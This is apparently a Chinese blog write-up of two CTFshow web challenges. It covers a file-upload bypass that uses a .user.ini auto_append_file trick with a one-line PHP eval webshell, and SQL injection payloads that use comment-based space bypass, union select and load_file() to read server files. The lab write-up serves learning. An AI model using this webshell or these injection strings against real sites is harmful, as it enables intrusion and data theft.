首页 > 其他分享 >ctf_web

ctf_web

时间:2024-05-06 22:11:38浏览次数:28  
标签:web 文件 die ctf file error php 上传

ctfshow

web13

访问题目链接

image-20240506191500782

一看是一道文件上传题,上传文件进行测试

上传php会显示 error suffix 因此推测会检测格式

当文件字数超出一定字数时,显示 error file zise

常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露

这道题访问 upload.php.bak 成功获取到了php源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名

上传的文件会在本目录

对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)

<?php eval($_GET['c']);

对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。

因此我们可以上传用户配置文件 .user.ini

原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126

auto_apend_file="t.txt"

然后上传一个test.php,里边写上面提到的最简单一句话

此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)

注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)

image-20240506195009022

成功调用 phpinfo 函数

使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。

image-20240506195310332

使用 highlight_file(“”) 查看可疑文件

image-20240506195748383

得到flag

web14

image-20240506203438426

尝试数字小的,输入3时,提示了另一个页面

image-20240506203531795

image-20240506203556463

是个查询框,推测有sql注入

发现会过滤空格,尝试 注释绕过,成功

image-20240506203702377

order by 子句爆列数

?query=-1/**/or/**/true/**/order/**/by/**/2

发现只有一列

union爆库名

?query=-1/**/union/**/select/**/database()

image-20240506204344885

爆版本

image-20240506204418363

爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)

-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

后来发发现爆了一堆白爆了……..

根本就不是这么做。

仔细一想,题目提示要看题目的源码,且又是sql注入

那么——load_file()函数

使用load_file的前提:

  1. my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
  2. 绝对路径已知(/var/www/html)
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没反应

image-20240506203556463

查看一下源码

image-20240506214132936

看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好

image-20240506214811859

得到flag

标签:web,文件,die,ctf,file,error,php,上传
From: https://www.cnblogs.com/endermanneer/p/18176043

相关文章

  • webcodecs mix-blend-mode
    WebCodecsmix-blend-mode:screen混合模式<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"/><metaname="viewport"content="width=device-width,initial-scale=1.0"/&g......
  • 一个惊艳的 python 库:PyWebIO,用 Python 写网站
    大家好,今天给大家介绍另一个简单而强大的web库--PyWebIO,它能让你的Python脚本快速拥有一个交互式的网页界面。想象一下,你不需要懂得前端开发,就能创建出用户友好的网页应用,今天,我们就来聊聊PyWebIO,看看它如何让Pythonweb开发变得更加简单有趣。为什么选择PyWebIO?1. 快速开发......
  • Java Web 相关
    页面静态页面:即静态网页,是实际存在的,无需经过服务器的编译,直接加载到客户浏览器上显示出来。静态页面需要占一定的服务器空间,且不能自主管理发布更新的页面,如果想更新网页内容,要通过FTP软件把文件DOWN下来用网页制作软件修改(通过fso等技术例外)。常见的静态页面举例:.html扩......
  • buuctf中Crypto解题合集
    一、一眼就解密ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=base64在线编解码:https://base64.supfree.net/二、MD5e00cf25ad42683b3df678c61f42c6bdaMD5在线解码:https://www.cmd5.com/三、Url编码%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7durl编码在线网站:https://anytexte......
  • 13、LAMP SecurityCTF5(VulnHub)
    LAMPSecurityCTF5一、nmapcatports|grepopen|awk-F'/''{print$1}'|tr'\n'','catports|grepopen|awk-F'/''{print$1}'|paste-sd','>nmap_open_port_total.txt......
  • stable-diffusion-webui安装roop插件
    roop插件安装方法可参考此篇文章https://zhuanlan.zhihu.com/p/640798942安装后启动可能会报以下错误1.ModuleNotFoundError:Nomodulenamed'xxx'这个是因为stable-diffusion-webui使用的是stable-diffusion-webui目录下的venv下的环境,本地python里虽然有对应的包(如果没有则......
  • aardio爬虫) 实战篇:逆向有道翻译web接口
    前言之前的文章把js引擎(aardio封装库)微软开源的js引擎(ChakraCore))写好了,这篇文章整点js代码来测一下bug。测试网站:https://fanyi.youdao.com/index.html#/逆向思路逆向思路可以看有道翻译js逆向(MD5加密,AES加密)附完整源码,逆向我就不赘述了。这篇文章说一下怎么将文章中给的......
  • WEB安全~X-Frame-Options
    X-Frame-Options是一个HTTP响应头,用于控制网页是否可以嵌套在<frame>,<iframe>,<embed>或者<applet>中。通过设置X-Frame-Options头部,网站管理员可以防止网页被嵌套到其他网站的框架中,从而有效防范点击劫持等安全风险。下面是关于X-Frame-Options的介绍:1.作用:X-Fra......
  • web server apache tomcat11-31-websocket
    前言整理这个官方翻译的系列,原因是网上大部分的tomcat版本比较旧,此版本为v11最新的版本。开源项目从零手写实现tomcatminicat别称【嗅虎】心有猛虎,轻嗅蔷薇。系列文章webserverapachetomcat11-01-官方文档入门介绍webserverapachetomcat11-02-setup启动web......
  • HTUCTF2024 河南师范大学招新赛
    CRYPTOeasyMath题目中国古代有很多人同名譬如同样叫孙子,有的人会兵法,有的人会数学你能帮我求解出这道题的答案吗?请开启容器后下载对应输出文件难度:简单fromsecretimportflagfromCrypto.Util.numberimport*defs2n(string): returnint(string.encode("utf-8").hex(......